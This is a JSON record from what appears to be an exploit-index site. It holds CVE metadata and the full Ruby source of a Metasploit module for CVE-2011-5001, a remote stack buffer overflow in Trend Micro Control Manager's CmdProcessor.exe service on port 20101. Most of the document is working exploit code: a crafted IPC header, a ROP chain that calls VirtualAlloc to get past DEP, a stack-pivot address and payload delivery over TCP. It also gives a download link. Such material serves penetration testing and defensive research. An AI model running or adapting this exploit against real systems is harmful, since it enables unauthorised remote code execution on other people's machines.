{"exploit":{"id":"MSF-windows--misc--trendmicro_cmdprocessor_addtask","name":"TrendMicro Control Manger CmdProcessor.exe Stack Buffer Overflow","description":"This module exploits a vulnerability in the CmdProcessor.exe component of Trend Micro Control Manger up to version 5.5. The specific flaw exists within CmdProcessor.exe service running on TCP port 20101. The vulnerable function is the CGenericScheduler::AddTask function of cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet, controlled data is copied into a 256-byte stack buffer. This can be exploited to execute remote code under the context of the user.","cves":["CVE-2011-5001"],"author":"Luigi Auriemma, Blue","published":"2011-12-07","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/28c856ca21ac307a61589dae6a173dfc2003a235/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb","path":"modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb","revision":"28c856ca21ac307a61589dae6a173dfc2003a235","filename":"trendmicro_cmdprocessor_addtask.rb","vulnerabilities":[{"id":"CVE-2011-5001","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the CGenericScheduler::AddTask function in cmdHandlerRedAlertController.dll in CmdProcessor.exe in Trend Micro Control Manager 5.5 before Build 1613 allows remote attackers to execute arbitrary code via a crafted IPC packet to TCP port 20101.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-5001","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-5001"},"updatedAt":"2024-08-07T00:23:39.159Z","retrievedAt":"2026-11-27T15:02:52.233Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--misc--trendmicro_cmdprocessor_addtask.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--misc--trendmicro_cmdprocessor_addtask","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--misc--trendmicro_cmdprocessor_addtask/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--misc--trendmicro_cmdprocessor_addtask/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GoodRanking\n\n  include Msf::Exploit::Remote::Tcp\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"TrendMicro Control Manger CmdProcessor.exe Stack Buffer Overflow\",\n        'Description' => %q{\n          This module exploits a vulnerability in the CmdProcessor.exe component of Trend\n          Micro Control Manger up to version 5.5.\n\n          The specific flaw exists within CmdProcessor.exe service running on TCP port\n          20101. The vulnerable function is the CGenericScheduler::AddTask function of\n          cmdHandlerRedAlertController.dll. When processing a specially crafted IPC packet,\n          controlled data is copied into a 256-byte stack buffer. This can be exploited\n          to execute remote code under the context of the user.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Luigi Auriemma', # Initial discovery\n          'Blue', # Metasploit\n        ],\n        'References' => [\n          ['CVE', '2011-5001'],\n          ['OSVDB', '77585'],\n          ['ZDI', '11-345']\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\",\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            # TCM 5.5 cannot be installed in Win2k3 SP0-SP1, Win2k8, or XP\n            'Windows 2003 Server SP2 (DEP Bypass)',\n            {\n              'Ret' => 0x666b34c8, # TMNotify.dll stack pivot\n              'Offset' => 5000\n            }\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2011-12-07',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(20101)\n      ]\n    )\n  end\n\n  def junk\n    return rand_text(4).unpack(\"L\")[0].to_i\n  end\n\n  def exploit\n    # TmUpdate.dll\n    rop_chain = [\n      0x668074d4,\t# POP EDX # OR AL,0F6 # RETN\n      0x3FCD0FFC,\t# Put 00001000 into edx\n      0x667611b2,\t# ADD EDX,C0330004 # RETN 04\n      0x667c99e7,\t# POP EBP # RETN [TmUpdate.dll]\n      junk,\n      0x667c99e7,\t# skip 4 bytes [TmUpdate.dll]\n      0x667e3250,\t# POP EBX # RETN [TmUpdate.dll]\n      0xffffffff,\t# NEG EBX\n      0x6683ab64,\t# INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]\n      0x6683ab64,\t# INC EBX # XOR EAX,EAX # RETN [TmUpdate.dll]\n      0x6680a1d3,\t# POP EAX # RETN [TmUpdate.dll]\n      0xffffffc0,\t# Value to negate, will become 0x00000040\n      0x66812b53,\t# NEG EAX # RETN [TmUpdate.dll]\n      0x667f030a,\t# MOV ECX,EAX # RETN [TmUpdate.dll]\n      0x667d4c7c,\t# POP EDI # RETN [TmUpdate.dll]\n      0x667e8003,\t# RETN (ROP NOP) [TmUpdate.dll]\n      0x667d54d0,\t# POP ESI # RETN [TmUpdate.dll]\n      0x667baf06,\t# JMP [EAX] [TmUpdate.dll]\n      0x66833376,\t# POP EAX # RETN [TmUpdate.dll]\n      0x6686115c,\t# ptr to &VirtualAlloc() [IAT TmUpdate.dll]\n      0x6681ceb3,\t# PUSHAD # RETN [TmUpdate.dll]\n      0x668382c3,\t# ptr to 'call esp' [TmUpdate.dll]\n    ].pack('V*')\n    # rop chain generated by mona.py\n\n    header = \"\\x00\\x00\"\n    header << \"\\x13\\x88\"          # size of buffer\n    header << rand_text_alpha(9)\n    header << \"\\x15\\x09\\x13\"      # opcode\n    header << \"\\x00\\x00\\x00\"\n    header << rand_text_alpha(25)\n    header << \"\\xFE\\xFF\\xFF\\xFF\"  # in instruction #MOV EDI,DWORD PTR DS:[EAX+ECX] #ECX is our buffer and needs to be readable dword\n    header << \"\\xFF\\xFF\\xFF\\xFF\"  # after sum with EAX. Pointer from EAX increments by #LEA EAX,DWORD PTR DS:[EAX+EDI+4] and then is saved\n    header << \"\\xFF\\xFF\\xF4\\xFF\"  # and used again. We can essentially walk the loop which increments EBX by 1 until we get to 14 which leads\n    header << \"\\xFF\\xFF\"          # us to our vulnerable function\n    header << rand_text_alpha(1)  # align stack again for rop\n\n    pay = rop_chain\n    pay << make_nops(374 - rop_chain.length)\n    pay << \"\\xeb\\x04\" # Short jmp 0x04\n    pay << [target.ret].pack('V')\n    pay << payload.encoded\n\n    sploit = header\n    sploit << pay\n\n    filler = rand_text_alpha(target['Offset'] - (sploit.length))\n\n    connect\n    print_status(\"Sending request...\")\n    sock.put(sploit + filler)\n    handler\n    disconnect\n  end\nend\n","sha256":"937f24af4ef31a86150c79b7e09359d82f42eab7961e57b941d2ce03d7a984d4","bytes":4507,"fetchedAt":"2026-11-27T15:02:50.604Z","encoding":"utf-8 (display only; download retains original bytes)"}